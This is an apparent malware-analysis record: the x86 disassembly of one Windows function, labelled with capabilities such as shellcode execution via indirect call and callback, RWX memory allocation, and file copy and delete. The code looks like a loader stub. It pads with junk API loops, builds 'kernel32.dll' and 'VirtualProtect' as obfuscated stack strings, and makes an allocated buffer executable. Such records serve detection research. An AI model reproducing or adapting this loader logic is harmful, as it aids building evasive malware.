Function at 0x499ce0
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2268
call fcn.00407a40
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x4c]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2cdbe
jge 0x499d16
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0x823614], 0x6fb
jne 0x499d34
push 0
lea eax, [esp + 0x27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9afa0a
jle 0x499d4c
cmp ebx, 0xc10c98
je 0x499d4c
cmp ebp, 0x952fcbc
jne 0x499d55
inc esi
cmp esi, 0x80c66
jl 0x499d04
cmp dword [0x823614], 0xcf8
jne 0x499dcc
lea ecx, [esp + 0x28]
push ecx
push 0
push 0x402a74
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x823614], 0x3a
jne 0x499d9d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea edx, [esp + 0x278]
push edx
push 0
push 0x402a9c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push 0
call fcn.00402e2c
add esp, 4
push 0
push 0
call fcn.00402cf0
push 0
push 0
call fcn.00402dec
push 0
push 0
call fcn.00402dec
push 0
call fcn.00402eea
add esp, 0x1c
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x499ded
mov eax, 0x5d1
add dword [0x823614], eax
cmp dword [0x823614], 3
jne 0x499e19
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push 0x402ac0
push eax
mov dword [esp + 0x28], eax
call edi
push 0
push 0
lea ecx, [esp + 0xa80]
push ecx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x499dda
mov edx, dword [0x823614]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4a4664], eax
mov eax, dword [0x823614]
xor esi, esi
test eax, eax
je 0x499e84
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea ecx, [ecx]
cmp eax, 0xfe
jne 0x499e5b
push 0
call ebx
call fcn.004998f0
mov eax, dword [0x823614]
cmp eax, 0x29
jne 0x499e7f
push 0
push 0
lea eax, [esp + 0xa80]
push eax
push 0
call edi
mov eax, dword [0x823614]
inc esi
cmp esi, eax
jb 0x499e50
cmp eax, 0x70
jne 0x499f7d
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call esi
push 0
push 0x402ac8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea ecx, [esp + 0xa78]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea edx, [esp + 0x127c]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea eax, [esp + 0x27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0x402ae8
push 0x402b08
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
push 0
lea ecx, [esp + 0x1a80]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call esi
push 0
lea edx, [esp + 0x67c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
mov eax, dword [0x823614]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x18], 0x9682ab
lea ecx, [ecx]
cmp eax, 0xdf
jne 0x49a0ad
push 0
push 0
push 0
call esi
push 0
call edi
xor eax, eax
lea edx, [esp + 0x3c]
push edx
push eax
push eax
lea ecx, [esp + 0x1a84]
push ecx
push eax
mov dword [esp + 0x28], eax
call ebp
lea edx, [esp + 0x20]
push edx
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [esp + 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea edx, [esp + 0x1c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea ecx, [esp + 0x67c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea edx, [esp + 0x48]
push edx
push 0x402b3c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
lea eax, [esp + 0x1278]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x823614]
dec dword [esp + 0x18]
jne 0x499fa0
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x49a0c2
push 0x49f8d0
mov dword [0x49f8d4], 0x32336c65
mov dword [0x49f8d8], 0x6c6c642e
mov dword [0x49f8d0], 0x6e72656b
mov byte [0x49f8dc], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0x823614]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
mov dword [0x823610], eax
mov eax, dword [0x4a4664]
push edx
push eax
mov byte [0x49f8db], 0x65
mov dword [0x49f8d1], 0x75747269
mov word [0x49f8d5], 0x6c61
mov byte [0x49f8d0], 0x56
mov word [0x49f8dc], 0x7463
mov byte [0x49f8de], 0
mov dword [0x49f8d7], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00499b30
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
jmp 0x49a170
cmp dword [0x823614], 0xba
jne 0x49a1a6
push 0
lea ecx, [esp + 0x1a7c]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x30]
push ecx
push 0
lea edx, [esp + 0x1290]
push edx
push 0x402b60
call edi
cmp esi, 0x2f64
jne 0x49a1b9
mov eax, 0
add dword [0x4a4664], eax
inc esi
cmp esi, 0x1605a
jl 0x49a170
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0x1e6dcb
cmp dword [0x823614], 0x85
jne 0x49a1ed
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x49a1d3
mov eax, 0x73
mov ecx, 0x6d
mov word [0x82361a], ax
mov word [0x82361e], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x823622], dx
mov word [0x82362e], cx
mov word [0x823620], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x823618
mov dword [0x823628], 0x6c0064
mov word [0x82361c], cx
mov word [0x823618], dx
mov word [0x82362c], ax
mov dword [0x823624], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x823614], 0xc30
jne 0x49a32f
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0x138]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea ecx, [esp + 0x20]
push ecx
push ebx
lea edx, [esp + 0x684]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x402bb8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea eax, [esp + 0x27c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
lea ecx, [esp + 0x28]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push ebx
lea edx, [esp + 0xa7c]
push edx
push 0x402c00
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov ecx, dword [esp + 0x1c]
push ebx
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret